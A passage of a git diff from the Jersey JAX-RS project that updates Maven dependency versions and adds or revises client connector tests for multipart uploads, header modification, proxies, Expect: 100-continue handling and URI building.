Copyright (c) 2012, 2018 Oracle and/or its affiliates. All rights reserved. +# Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved. # # This program and the accompanying materials are made available under the # terms of the Eclipse Public License v. 2.0, which is available at @@ -16,6 +16,8 @@ cannot.inject.file=Cannot provide file for an entity body part. entity.has.wrong.type=Entity instance does not contain the unconverted content. +error.charset.unsupported={0} charset is not supported. +error.filename.unsupported=Unsupported filename parameter {0}. error.parsing.content.disposition=Error parsing content disposition: {0} error.reading.entity=Error reading entity as {0}. form.data.multipart.cannot.change.mediatype=Cannot change media type of a FormDataMultiPart instance. diff --git a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java index 06222b98b1..4a7ff89467 100644 --- a/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java +++ b/media/multipart/src/test/java/org/glassfish/jersey/media/multipart/internal/MultiPartHeaderModificationTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -64,7 +64,7 @@ public static List testData() { return Arrays.asList(new Object[][] { {new HttpUrlConnectorProvider(), false}, {new GrizzlyConnectorProvider(), true}, - {new JettyConnectorProvider(), true}, + {new JettyConnectorProvider(), false}, {new ApacheConnectorProvider(), true}, }); } diff --git a/pom.xml b/pom.xml index 9262fe443f..627f3edcda 100644 --- a/pom.xml +++ b/pom.xml @@ -473,7 +473,7 @@ Jersey ${jersey.version} API Documentation Jersey ${jersey.version} API - Oracle and/or its affiliates. All Rights Reserved. Use is subject to license terms.]]> @@ -481,10 +481,15 @@ https://jakartaee.github.io/rest/apidocs/3.0.0/ https://javaee.github.io/hk2/apidocs/ + https://eclipse-ee4j.github.io/jersey.github.io/apidocs/latest/jersey/ - *.internal.*:*.tests.* + *.internal.*:*.innate.*:*.tests.* + false + + org.glassfish.jersey.*:* + bundles/** module-info.java @@ -1170,7 +1175,7 @@ org.apache.maven.plugins maven-project-info-reports-plugin - 3.1.1 + 3.4.5 @@ -1412,6 +1417,13 @@ dash-licenses-snapshots https://repo.eclipse.org/content/repositories/dash-licenses-snapshots/ + + false + + + + dash-licenses-releases + https://repo.eclipse.org/content/repositories/dash-licenses-releases/ true @@ -1422,7 +1434,7 @@ org.eclipse.dash license-tool-plugin - 0.0.1-SNAPSHOT + 1.0.2 license-check @@ -1734,6 +1746,16 @@ jetty-client ${jetty.version} + + org.eclipse.jetty.http2 + http2-client + ${jetty.version} + + + org.eclipse.jetty.http2 + http2-http-client-transport + ${jetty.version} + org.eclipse.jetty jetty-server @@ -2234,7 +2256,9 @@ 3.0.1.Final - 9.5 + 9.6 + + 1.6.11 1.70 2.13.0 @@ -2256,6 +2280,10 @@ 3.0.0 + + 1.10.12 + 1.0.9 + 3.0 3.0.1 @@ -2271,7 +2299,7 @@ org.jvnet.hk2.*;version="[2.5,4)" 4.5.14 5.2.1 - 2.14.1 + 2.15.2 3.29.2-GA 3.4.3.Final 1.19.3 @@ -2310,7 +2338,7 @@ 2.12.2 - 20.3.10 + 20.3.11 6.2.5 @@ -2345,8 +2373,8 @@ 3.0 3.0.0 org.eclipse.jetty.*;version="[11,15)" - 11.0.15 - 9.4.51.v20230217 + 11.0.17 + 9.4.53.v20231009 11.0.15 6.1.14 2.0.0 diff --git a/tests/e2e-client/pom.xml b/tests/e2e-client/pom.xml index 35dd31cf68..47d02766c6 100644 --- a/tests/e2e-client/pom.xml +++ b/tests/e2e-client/pom.xml @@ -156,6 +156,11 @@ jersey-jetty-connector test + + org.glassfish.jersey.connectors + jersey-netty-connector + test + org.glassfish.jersey.security oauth1-signature @@ -233,6 +238,7 @@ org/glassfish/jersey/tests/e2e/client/connector/proxy/Proxy*Test.java + org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/RequestScopedReadEntityTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/RequestScopedReadEntityTest.java index 78ce436f68..b1fd1da5ce 100644 --- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/RequestScopedReadEntityTest.java +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/RequestScopedReadEntityTest.java @@ -37,6 +37,7 @@ import org.glassfish.jersey.client.ClientRequest; import org.glassfish.jersey.message.internal.AbstractMessageReaderWriterProvider; +import org.glassfish.jersey.message.internal.ReaderWriter; import org.glassfish.jersey.server.ResourceConfig; import org.glassfish.jersey.test.JerseyTest; @@ -91,7 +92,7 @@ public Message readFrom( MultivaluedMap httpHeaders, InputStream entityStream) throws IOException, WebApplicationException { return clientRequestProvider.get() != null - ? new Message(readFromAsString(entityStream, mediaType)) : new Message("failed"); + ? new Message(ReaderWriter.readFromAsString(entityStream, mediaType)) : new Message("failed"); } @Override @@ -108,7 +109,8 @@ public void writeTo( MediaType mediaType, MultivaluedMap httpHeaders, OutputStream entityStream) throws IOException, WebApplicationException { - writeToAsString((clientRequestProvider.get() != null) ? message.text : "failed", entityStream, mediaType); + ReaderWriter + .writeToAsString((clientRequestProvider.get() != null) ? message.text : "failed", entityStream, mediaType); } } diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java new file mode 100644 index 0000000000..3cb45b9c95 --- /dev/null +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java @@ -0,0 +1,136 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.e2e.client.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.HttpUrlConnectorProvider; +import org.glassfish.jersey.client.spi.ConnectorProvider; +import org.glassfish.jersey.internal.util.JdkVersion; +import org.glassfish.jersey.jdk.connector.JdkConnectorProvider; +import org.glassfish.jersey.jetty.connector.JettyConnectorProvider; +import org.glassfish.jersey.netty.connector.NettyConnectorProvider; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.media.multipart.BodyPart; +import org.glassfish.jersey.media.multipart.BodyPartEntity; +import org.glassfish.jersey.media.multipart.MultiPart; +import org.glassfish.jersey.media.multipart.MultiPartFeature; +import org.glassfish.jersey.message.internal.ReaderWriter; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.glassfish.jersey.test.TestProperties; +import org.glassfish.jersey.test.spi.TestHelper; +import org.junit.jupiter.api.Assertions; +import org.junit.jupiter.api.DynamicContainer; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestFactory; + +import jakarta.ws.rs.Consumes; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collection; +import java.util.logging.Level; +import java.util.logging.Logger; +import java.util.stream.Stream; + +public class MultiPartTest { + + private static final Logger LOGGER = Logger.getLogger(RequestHeaderModificationsTest.class.getName()); + + public static ConnectorProvider[] testData() { + int size = JdkVersion.getJdkVersion().getMajor() < 11 ? 3 : 4; + final ConnectorProvider[] providers = new ConnectorProvider[size]; + providers[0] = new HttpUrlConnectorProvider(); + providers[1] = new NettyConnectorProvider(); + providers[2] = new JdkConnectorProvider(); + if (size == 4) { + providers[3] = new JettyConnectorProvider(); + } + return providers; + } + + @TestFactory + public Collection generateTests() { + Collection tests = new ArrayList<>(); + for (ConnectorProvider provider : testData()) { + HttpMultipartTest test = new HttpMultipartTest(provider) {}; + DynamicContainer container = TestHelper.toTestContainer(test, + String.format("MultiPartTest (%s)", provider.getClass().getSimpleName())); + tests.add(container); + } + return tests; + } + + public abstract static class HttpMultipartTest extends JerseyTest { + private final ConnectorProvider connectorProvider; + private static final String ENTITY = "hello"; + + public HttpMultipartTest(ConnectorProvider connectorProvider) { + this.connectorProvider = connectorProvider; + } + + @Override + protected Application configure() { + set(TestProperties.RECORD_LOG_LEVEL, Level.WARNING.intValue()); + enable(TestProperties.LOG_TRAFFIC); + return new ResourceConfig(MultipartResource.class) + .register(MultiPartFeature.class) + .register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.HEADERS_ONLY)); + } + + @Override + protected void configureClient(ClientConfig clientConfig) { + clientConfig.connectorProvider(connectorProvider); + clientConfig.register(MultiPartFeature.class); + } + + @Path("/") + public static class MultipartResource { + @POST + @Path("/upload") + @Consumes(MediaType.MULTIPART_FORM_DATA) + public String upload(@Context HttpHeaders headers, MultiPart multiPart) throws IOException { + return ReaderWriter.readFromAsString( + ((BodyPartEntity) multiPart.getBodyParts().get(0).getEntity()).getInputStream(), + multiPart.getMediaType()); + } + } + + @Test + public void testMultipart() { + MultiPart multipart = new MultiPart().bodyPart(new BodyPart().entity(ENTITY)); + multipart.setMediaType(MediaType.MULTIPART_FORM_DATA_TYPE); + + for (int i = 0; i != 5; i++) { + try (Response r = target().register(MultiPartFeature.class) + .path("upload") + .request() + .post(Entity.entity(multipart, multipart.getMediaType()))) { + Assertions.assertEquals(Response.Status.OK.getStatusCode(), r.getStatus()); + Assertions.assertEquals(ENTITY, r.readEntity(String.class)); + } + } + } + } +} diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java index 551d72cd7a..4e1b89e1f8 100644 --- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/RequestHeaderModificationsTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2014, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2014, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -102,16 +102,16 @@ public class RequestHeaderModificationsTest { public static List testData() { return Arrays.asList(new Object[][] { - {new HttpUrlConnectorProvider(), true, false}, - {new GrizzlyConnectorProvider(), false, false}, // change to true when JERSEY-2341 fixed - {new JettyConnectorProvider(), false, false}, // change to true when JERSEY-2341 fixed - {new ApacheConnectorProvider(), false, false}, // change to true when JERSEY-2341 fixed - {new Apache5ConnectorProvider(), false, false}, // change to true when JERSEY-2341 fixed - {new HttpUrlConnectorProvider(), true, true}, - {new GrizzlyConnectorProvider(), false, true}, // change to true when JERSEY-2341 fixed - {new JettyConnectorProvider(), false, true}, // change to true when JERSEY-2341 fixed - {new ApacheConnectorProvider(), false, true}, // change to true when JERSEY-2341 fixed - {new Apache5ConnectorProvider(), false, true}, // change to true when JERSEY-2341 fixed + {new HttpUrlConnectorProvider(), true, true, false, false}, + {new GrizzlyConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed + {new JettyConnectorProvider(), true, false, false, false}, // change to true when JERSEY-2341 fixed + {new ApacheConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed + {new Apache5ConnectorProvider(), false, false, false, false}, // change to true when JERSEY-2341 fixed + {new HttpUrlConnectorProvider(), true, true, true, true}, + {new GrizzlyConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed + {new JettyConnectorProvider(), true, false, true, false}, // change to true when JERSEY-2341 fixed + {new ApacheConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed + {new Apache5ConnectorProvider(), false, false, true, true}, // change to true when JERSEY-2341 fixed }); } @@ -124,7 +124,7 @@ public Collection generateTests() { return; } RequestHeaderModificationsTemplateTest test = new RequestHeaderModificationsTemplateTest( - (ConnectorProvider) arr[0], (boolean) arr[1], (boolean) arr[2]) {}; + (ConnectorProvider) arr[0], (boolean) arr[1], (boolean) arr[2], (boolean) arr[3], (boolean) arr[4]) {}; tests.add(TestHelper.toTestContainer(test, String.format("%s (%s, %s, %s)", RequestHeaderModificationsTemplateTest.class.getSimpleName(), arr[0].getClass().getSimpleName(), arr[1], arr[2]))); @@ -135,13 +135,21 @@ public Collection generateTests() { public abstract static class RequestHeaderModificationsTemplateTest extends JerseyTest { private final ConnectorProvider connectorProvider; private final boolean modificationSupported; // remove when JERSEY-2341 fixed + private final boolean modificationSupportedAsync; // remove when JERSEY-2341 fixed + private final boolean addHeader; + private final boolean addHeaderAsync; public RequestHeaderModificationsTemplateTest(ConnectorProvider connectorProvider, - boolean modificationSupported, boolean addHeader) { + boolean modificationSupported, + boolean modificationSupportedAsync, + boolean addHeader, + boolean addHeaderAsync) { this.connectorProvider = connectorProvider; this.modificationSupported = modificationSupported; + this.modificationSupportedAsync = modificationSupportedAsync; this.addHeader = addHeader; + this.addHeaderAsync = addHeaderAsync; } @Override @@ -159,27 +167,27 @@ protected Application configure() { @Override protected void configureClient(ClientConfig clientConfig) { clientConfig.register(MyClientRequestFilter.class); - clientConfig.register(new MyWriterInterceptor(addHeader)); - clientConfig.register(new MyMessageBodyWriter(addHeader)); clientConfig.connectorProvider(connectorProvider); } @Test public void testWarningLogged() throws Exception { - Response response = requestBuilder().post(requestEntity()); - assertResponse(response); + Response response = requestBuilder(addHeader).post(requestEntity()); + assertResponse(response, modificationSupported, addHeader); } @Test public void testWarningLoggedAsync() throws Exception { - AsyncInvoker asyncInvoker = requestBuilder().async(); + AsyncInvoker asyncInvoker = requestBuilder(addHeaderAsync).async(); Future responseFuture = asyncInvoker.post(requestEntity()); Response response = responseFuture.get(); - assertResponse(response); + assertResponse(response, modificationSupportedAsync, addHeaderAsync); } - private Invocation.Builder requestBuilder() { + private Invocation.Builder requestBuilder(boolean addHeader) { return target(PATH) + .register(new MyWriterInterceptor(addHeader)) + .register(new MyMessageBodyWriter(addHeader)) .request() .header(REQUEST_HEADER_NAME_CLIENT, REQUEST_HEADER_VALUE_CLIENT) .header(REQUEST_HEADER_MODIFICATION_SUPPORTED, modificationSupported && addHeader) @@ -190,7 +198,7 @@ private Entity requestEntity() { return Entity.text(new MyEntity(QUESTION)); } - private void assertResponse(Response response) { + private void assertResponse(Response response, boolean modificationSupported, boolean addHeader) { if (!modificationSupported) { final String UNSENT_HEADER_CHANGES = "Unsent header changes"; LogRecord logRecord = findLogRecord(UNSENT_HEADER_CHANGES); diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java index 8c3bdc4846..030119aae7 100644 --- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxySelectorTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2019 Banco do Brasil S/A. All rights reserved. * * This program and the accompanying materials are made available under the @@ -22,6 +22,7 @@ import org.eclipse.jetty.server.Server; import org.eclipse.jetty.server.handler.AbstractHandler; import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.netty.connector.NettyClientProperties; import org.glassfish.jersey.netty.connector.NettyConnectorProvider; import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Assertions; @@ -49,7 +50,7 @@ public class ProxySelectorTest { private static final String NO_PASS = "no-pass"; protected void configureClient(ClientConfig config) { - config.connectorProvider(new NettyConnectorProvider()); + config.connectorProvider(new NettyConnectorProvider()).property(NettyClientProperties.FILTER_HEADERS_FOR_PROXY, false); } @Test diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java index efaf2cea2d..25368cb0b5 100644 --- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/proxy/ProxyTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved. * Copyright (c) 2019 Banco do Brasil S/A. All rights reserved. * * This program and the accompanying materials are made available under the @@ -71,7 +71,7 @@ public class ProxyTest { private static final String PROXY_URI = "http://127.0.0.1:9997"; private static final String PROXY_USERNAME = "proxy-user"; private static final String PROXY_PASSWORD = "proxy-password"; - private static final String NO_PASS = "no-pass"; + private static final String PROXY_NO_PASS = "proxy-no-pass"; public static class ApacheConnectorProviderProxyTest extends ProxyTemplateTest { public ApacheConnectorProviderProxyTest() @@ -137,7 +137,7 @@ protected void configureClient(ClientConfig config) { @Test public void testGetNoPass() { client().property(ClientProperties.PROXY_URI, ProxyTest.PROXY_URI); - try (Response response = target("proxyTest").request().header(NO_PASS, 200).get()) { + try (Response response = target("proxyTest").request().header(PROXY_NO_PASS, 200).get()) { assertEquals(200, response.getStatus()); } } @@ -209,8 +209,8 @@ public void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) { - if (request.getHeader(NO_PASS) != null) { - response.setStatus(Integer.parseInt(request.getHeader(NO_PASS))); + if (request.getHeader(PROXY_NO_PASS) != null) { + response.setStatus(Integer.parseInt(request.getHeader(PROXY_NO_PASS))); } else if (request.getHeader("Proxy-Authorization") != null) { String proxyAuthorization = request.getHeader("Proxy-Authorization"); String decoded = new String(Base64.getDecoder().decode(proxyAuthorization.substring(6).getBytes()), diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java new file mode 100644 index 0000000000..db08f928bb --- /dev/null +++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/nettyconnector/Expect100ContinueTest.java @@ -0,0 +1,240 @@ +/* + * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.tests.e2e.client.nettyconnector; + +import org.eclipse.jetty.server.Request; +import org.eclipse.jetty.server.Server; +import org.eclipse.jetty.server.handler.AbstractHandler; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.RequestEntityProcessing; +import org.glassfish.jersey.client.http.Expect100ContinueFeature; +import org.glassfish.jersey.netty.connector.NettyClientProperties; +import org.glassfish.jersey.netty.connector.NettyConnectorProvider; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.io.IOException; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNotNull; +import static org.junit.jupiter.api.Assertions.assertThrows; + +public class Expect100ContinueTest /*extends JerseyTest*/ { + + private static final String RESOURCE_PATH = "expect"; + + private static final String RESOURCE_PATH_NOT_SUPPORTED = "fail417"; + + private static final String RESOURCE_PATH_UNAUTHORIZED = "fail401"; + + private static final String RESOURCE_PATH_PAYLOAD_TOO_LARGE = "fail413"; + + private static final String RESOURCE_PATH_METHOD_NOT_SUPPORTED = "fail405"; + + private static final String ENTITY_STRING = "1234567890123456789012345678901234567890123456789012" + + "3456789012345678901234567890"; + + private static final Integer portNumber = 9997; + + private static Server server; + @BeforeAll + public static void startExpect100ContinueTestServer() { + server = new Server(portNumber); + server.setHandler(new Expect100ContinueTestHandler()); + try { + server.start(); + } catch (Exception e) { + + } + } + + @AfterAll + public static void stopExpect100ContinueTestServer() { + try { + server.stop(); + } catch (Exception e) { + } + } + + private static Client client; + @BeforeEach + public void beforeEach() { + final ClientConfig config = new ClientConfig(); + this.configureClient(config); + client = ClientBuilder.newClient(config); + } + + private Client client() { + return client; + } + + public WebTarget target(String path) { + return client().target(String.format("http://localhost:%d", portNumber)).path(path); + } + + protected void configureClient(ClientConfig config) { + config.connectorProvider(new NettyConnectorProvider()); + } + + @Test + public void testExpect100Continue() { + final Response response = target(RESOURCE_PATH).request().post(Entity.text(ENTITY_STRING)); + assertEquals(200, response.getStatus(), "Expected 200"); //no Expect header sent - response OK + } + + @Test + public void testExpect100ContinueChunked() { + final Response response = target(RESOURCE_PATH).register(Expect100ContinueFeature.basic()) + .property(ClientProperties.REQUEST_ENTITY_PROCESSING, + RequestEntityProcessing.CHUNKED).request().post(Entity.text(ENTITY_STRING)); + assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response + } + + @Test + public void testExpect100ContinueBuffered() { + final Response response = target(RESOURCE_PATH).register(Expect100ContinueFeature.basic()) + .property(ClientProperties.REQUEST_ENTITY_PROCESSING, + RequestEntityProcessing.BUFFERED).request().header(HttpHeaders.CONTENT_LENGTH, 67000L) + .post(Entity.text(ENTITY_STRING)); + assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response + } + + @Test + public void testExpect100ContinueCustomLength() { + final Response response = target(RESOURCE_PATH).register(Expect100ContinueFeature.withCustomThreshold(100L)) + .request().header(HttpHeaders.CONTENT_LENGTH, Integer.MAX_VALUE) + .post(Entity.text(ENTITY_STRING)); + assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response + } + + @Test + public void testExpect100ContinueCustomLengthWrong() { + final Response response = target(RESOURCE_PATH).register(Expect100ContinueFeature.withCustomThreshold(100L)) + .request().header(HttpHeaders.CONTENT_LENGTH, 99L) + .post(Entity.text(ENTITY_STRING)); + assertEquals(200, response.getStatus(), "Expected 200"); //Expect header NOT sent - low request size + } + + @Test + public void testExpect100ContinueCustomLengthProperty() { + final Response response = target(RESOURCE_PATH) + .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 555L) + .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE) + .register(Expect100ContinueFeature.withCustomThreshold(555L)) + .request().header(HttpHeaders.CONTENT_LENGTH, 666L) + .post(Entity.text(ENTITY_STRING)); + assertNotNull(response.getStatus()); //Expect header sent - No Content response + } + + @Test + public void testExpect100ContinueRegisterViaCustomProperty() { + final Response response = target(RESOURCE_PATH) + .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L) + .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE) + .request().header(HttpHeaders.CONTENT_LENGTH, 44L) + .post(Entity.text(ENTITY_STRING)); + assertEquals(204, response.getStatus(), "Expected 204"); //Expect header sent - No Content response + } + + @Test + public void testExpect100ContinueNotSupported() { + final Response response = target(RESOURCE_PATH_NOT_SUPPORTED) + .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L) + .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE) + .request().header(HttpHeaders.CONTENT_LENGTH, 44L) + .post(Entity.text(ENTITY_STRING)); + assertEquals(417, response.getStatus(), "Expected 417"); //Expectations not supported + } + + @Test + public void testExpect100ContinueUnauthorized() { + assertThrows(ProcessingException.class, () -> target(RESOURCE_PATH_UNAUTHORIZED) + .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L) + .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE) + .property(NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT, 10000) + .request().header(HttpHeaders.CONTENT_LENGTH, 44L) + .post(Entity.text(ENTITY_STRING))); + } + + @Test + public void testExpect100ContinuePayloadTooLarge() { + assertThrows(ProcessingException.class, () -> target(RESOURCE_PATH_PAYLOAD_TOO_LARGE) + .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L) + .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE) + .property(NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT, 10000) + .request().header(HttpHeaders.CONTENT_LENGTH, 44L) + .post(Entity.text(ENTITY_STRING))); + } + + @Test + public void testExpect100ContinueMethodNotSupported() { + assertThrows(ProcessingException.class, () -> target(RESOURCE_PATH_METHOD_NOT_SUPPORTED) + .property(ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, 43L) + .property(ClientProperties.EXPECT_100_CONTINUE, Boolean.TRUE) + .property(NettyClientProperties.EXPECT_100_CONTINUE_TIMEOUT, 10000) + .request().header(HttpHeaders.CONTENT_LENGTH, 44L) + .post(Entity.text(ENTITY_STRING))); + } + + static class Expect100ContinueTestHandler extends AbstractHandler { + @Override + public void handle(String target, + Request baseRequest, + HttpServletRequest request, + HttpServletResponse response) throws IOException { + boolean expected = request.getHeader("Expect") != null; + boolean failed = false; + if (target.equals("/" + RESOURCE_PATH_NOT_SUPPORTED)) { + response.sendError(417); + failed = true; + } + if (target.equals("/" + RESOURCE_PATH_UNAUTHORIZED)) { + response.sendError(401); + failed = true; + } + if (target.equals("/" + RESOURCE_PATH_PAYLOAD_TOO_LARGE)) { + response.sendError(413); + failed = true; + } + if (target.equals("/" + RESOURCE_PATH_METHOD_NOT_SUPPORTED)) { + response.sendError(405); + failed = true; + } + if (expected && !failed) { + System.out.println("Expect:100-continue found, sending response header"); + response.setStatus(204); + } + response.getWriter().println(); + response.flushBuffer(); + baseRequest.setHandled(true); + + request.getReader().lines().forEach(System.out::println); + } + } +} \ No newline at end of file diff --git a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/uri/internal/JerseyUriBuilderTest.java b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/uri/internal/JerseyUriBuilderTest.java index 88c14967dd..6212b3fa29 100644 --- a/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/uri/internal/JerseyUriBuilderTest.java +++ b/tests/e2e-core-common/src/test/java/org/glassfish/jersey/tests/e2e/common/uri/internal/JerseyUriBuilderTest.java @@ -1,5 +1,5 @@ /* - * Copyright (c) 2011, 2022 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2011, 2023 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -22,6 +22,7 @@ import java.net.URI; import java.net.URISyntaxException; import java.net.URL; +import java.net.URLEncoder; import java.util.HashMap; import java.util.List; import java.util.Map; @@ -29,6 +30,7 @@ import jakarta.ws.rs.GET; import jakarta.ws.rs.Path; import jakarta.ws.rs.PathParam; +import jakarta.ws.rs.core.Link; import jakarta.ws.rs.core.MultivaluedMap; import jakarta.ws.rs.core.PathSegment; import jakarta.ws.rs.core.UriBuilder; @@ -1657,6 +1659,31 @@ public void testQueryParamStyleMultiPairs() { "key1=val1&key1=val2&key2=val1&key1=val3"); } + + @Test + public void testQueryParam() { + URI uri = new JerseyUriBuilder().scheme("http").host("localhost").port(8080).uri("some") + .replacePath("NewPath") + .replaceQuery("&Second") + .build(); + Assertions.assertEquals("&Second", uri.getQuery()); + } + + + @Test + void testFragment5269() throws URISyntaxException { + final URI uri = new URI("http://www.example.org/foo.xml#xpointer(//Rube)").normalize(); + Assertions.assertEquals(uri, UriBuilder.fromUri(uri).build()); // prints "http://www.example.org/foo.xml#xpointer(//Rube)" + Assertions.assertEquals(uri, UriBuilder.fromUri(uri).fragment("xpointer(//{type})").build("Rube")); + } + + @Test + public void test5416() { + URI uri = UriBuilder.fromUri("http://host.com/path%20path/.test.jpg").build(); + Link link = Link.fromUri(uri).build(); + Assertions.assertEquals(uri, link.getUri()); + } + private void checkQueryFormat(String fromUri, JerseyQueryParamStyle queryParamStyle, String expected) { final URI uri = ((JerseyUriBuilder) UriBuilder.fromUri(fromUri)) .setQueryParamStyle(queryParamStyle) diff --git 